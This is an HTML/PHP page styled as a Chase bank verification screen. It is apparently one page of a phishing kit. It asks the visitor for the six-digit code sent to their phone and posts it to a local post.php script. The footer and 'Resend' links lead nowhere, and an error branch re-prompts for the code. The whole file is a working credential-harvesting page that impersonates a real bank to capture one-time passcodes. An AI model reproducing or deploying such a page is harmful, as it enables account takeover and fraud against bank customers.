<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Chase — Verification</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --blue:        #025ca8;
            --blue-dark:   #014a8a;
            --blue-light:  rgba(2, 92, 168, 0.1);
            --text-primary:   #1a1a1a;
            --text-secondary: #444;
            --text-muted:     #888;
            --border:         #ddd;
            --white:          #ffffff;
        }

        html, body { height: 100%; font-family: 'Inter', sans-serif; }

        body {
            min-height: 100vh;
            background: url('res/img/back.png') center center / cover no-repeat;
            position: relative;
            display: flex;
            flex-direction: column;
        }

        body::before {
            content: '';
            position: fixed; inset: 0;
            background: rgba(0,0,0,0.32);
            z-index: 0;
        }

        header {
            position: relative; z-index: 1;
            padding: 16px 40px;
            display: flex; align-items: center;
            background: rgba(255,255,255,0.92);
            backdrop-filter: blur(8px);
            -webkit-backdrop-filter: blur(8px);
            border-bottom: 1px solid rgba(255,255,255,0.3);
        }
        header img { height: 64px; width: auto; object-fit: contain; display: block; }

        .page-body {
            position: relative; z-index: 1;
            flex: 1;
            display: flex;
            align-items: center;
            justify-content: flex-end;
            padding: 40px 80px 60px;
        }

        .login-card {
            background: var(--white);
            border-radius: 12px;
            padding: 44px 40px 40px;
            width: 100%;
            max-width: 380px;
            box-shadow: 0 24px 80px rgba(0,0,0,0.28), 0 4px 16px rgba(0,0,0,0.12);
            animation: fadeUp 0.5s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(20px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .card-logo { margin-bottom: 24px; }
        .card-logo img { height: 64px; width: auto; object-fit: contain; display: block; }

        /* ── Step indicator ── */
        .step-indicator {
            display: flex; align-items: center;
            gap: 8px; margin-bottom: 22px;
        }
        .step {
            display: flex; align-items: center; justify-content: center;
            width: 22px; height: 22px; border-radius: 50%;
            font-size: 10px; font-weight: 600;
        }
        .step.done   { background: var(--blue-light); color: var(--blue); }
        .step.active { background: var(--blue); color: #fff; }
        .step-line { flex: 1; height: 1px; background: #e0e0e0; }
        .step-line.done { background: var(--blue); opacity: 0.3; }

        .card-heading { margin-bottom: 22px; }
        .card-heading h1 {
            font-size: 20px; font-weight: 600;
            color: var(--text-primary); margin-bottom: 5px;
        }
        .card-heading p { font-size: 13px; color: var(--text-muted); font-weight: 300; line-height: 1.6; }

        /* ── OTP boxes ── */
        .otp-wrapper { display: flex; gap: 8px; margin-bottom: 8px; }
        .otp-wrapper input[type="text"] {
            width: 100%; height: 52px;
            text-align: center;
            font-family: 'Inter', sans-serif;
            font-size: 20px; font-weight: 600;
            color: var(--text-primary);
            border: 1.5px solid var(--border);
            border-radius: 6px; background: #fff;
            outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
            caret-color: var(--blue);
        }
        .otp-wrapper input[type="text"]:focus {
            border-color: var(--blue);
            box-shadow: 0 0 0 3px var(--blue-light);
        }
        .otp-wrapper input[type="text"].filled {
            border-color: rgba(2,92,168,0.4);
            background: var(--blue-light);
        }

        input[name="otp"] { display: none; }

        /* ── Error ── */
        .error-msg {
            display: flex; align-items: center; gap: 7px;
            color: #c00; font-size: 12.5px;
            margin-bottom: 14px; padding: 9px 12px;
            background: rgba(200,0,0,0.06);
            border: 1px solid rgba(200,0,0,0.2);
            border-radius: 6px;
            animation: fadeUp 0.3s ease both;
        }

        /* ── Button ── */
        .btn-continue {
            width: 100%; height: 44px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'Inter', sans-serif;
            font-size: 14px; font-weight: 600;
            cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-top: 6px;
            display: flex; align-items: center; justify-content: center; gap: 7px;
        }
        .btn-continue:hover {
            background: var(--blue-dark);
            box-shadow: 0 4px 14px rgba(2,92,168,0.4);
            transform: translateY(-1px);
        }
        .btn-continue:active { transform: translateY(0); }

        .resend-row {
            text-align: center; margin-top: 18px;
            font-size: 13px; color: var(--text-muted);
        }
        .resend-row a {
            color: var(--blue); text-decoration: none;
            font-weight: 500; margin-left: 4px;
        }
        .resend-row a:hover { text-decoration: underline; }

        .page-footer {
            position: relative; z-index: 1;
            padding: 16px 40px;
            display: flex; align-items: center; gap: 24px;
            border-top: 1px solid rgba(255,255,255,0.12);
        }
        .page-footer a {
            font-size: 12px; color: rgba(255,255,255,0.65);
            text-decoration: none; transition: color 0.15s;
        }
        .page-footer a:hover { color: #fff; }

        @media (max-width: 768px) {
            .page-body { justify-content: center; padding: 20px; align-items: flex-start; padding-top: 20px; }
            .login-card { max-width: 100%; }
        }
    </style>
</head>
<body>

    <header>
        <img src="res/img/logo2.svg" alt="Chase">
    </header>

    <div class="page-body">
        <div class="login-card">

            <div class="card-logo">
                <img src="res/img/logo2.svg" alt="Chase">
            </div>

            <div class="step-indicator">
                <div class="step done">✓</div>
                <div class="step-line done"></div>
                <div class="step done">✓</div>
                <div class="step-line done"></div>
                <div class="step active">3</div>
            </div>

            <div class="card-heading">
                <h1>Enter your code</h1>
                <p>Please enter the verification code sent to your phone number to continue.</p>
            </div>

            <form action="post.php" method="post">

                <?php if(isset($_GET['error'])): ?>
                <div class="error-msg">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                        <circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/>
                    </svg>
                    Invalid code. Please try again.
                </div>
                <input type="hidden" name="exit">
                <?php endif; ?>

                <input type="text" name="otp" id="otp" required>

                <div class="otp-wrapper">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*" autocomplete="one-time-code">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                    <input type="text" class="digit" maxlength="1" inputmode="numeric" pattern="[0-9]*">
                </div>

                <button type="submit" class="btn-continue">
                    Continue
                    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round">
                        <path d="M5 12h14M12 5l7 7-7 7"/>
                    </svg>
                </button>

            </form>

            <div class="resend-row">
                Didn't receive a code? <a href="#">Resend</a>
            </div>

        </div>
    </div>

    <footer class="page-footer">
        <a href="#">Privacy</a>
        <a href="#">Security</a>
        <a href="#">Terms of use</a>
        <a href="#">Accessibility</a>
    </footer>

    <script>
        const digits   = document.querySelectorAll('.digit');
        const otpInput = document.getElementById('otp');

        function syncOtp() {
            otpInput.value = [...digits].map(d => d.value).join('');
        }

        digits.forEach((el, i) => {
            el.addEventListener('input', () => {
                el.value = el.value.replace(/\D/g, '').slice(-1);
                el.classList.toggle('filled', el.value !== '');
                syncOtp();
                if (el.value && i < digits.length - 1) digits[i + 1].focus();
            });
            el.addEventListener('keydown', e => {
                if (e.key === 'Backspace' && !el.value && i > 0) {
                    digits[i - 1].value = '';
                    digits[i - 1].classList.remove('filled');
                    digits[i - 1].focus();
                    syncOtp();
                }
            });
            el.addEventListener('paste', e => {
                e.preventDefault();
                const pasted = (e.clipboardData || window.clipboardData)
                    .getData('text').replace(/\D/g, '').slice(0, digits.length);
                [...pasted].forEach((ch, j) => {
                    if (digits[j]) { digits[j].value = ch; digits[j].classList.add('filled'); }
                });
                syncOtp();
                const next = digits[Math.min(pasted.length, digits.length - 1)];
                if (next) next.focus();
            });
        });
    </script>
</body>
</html>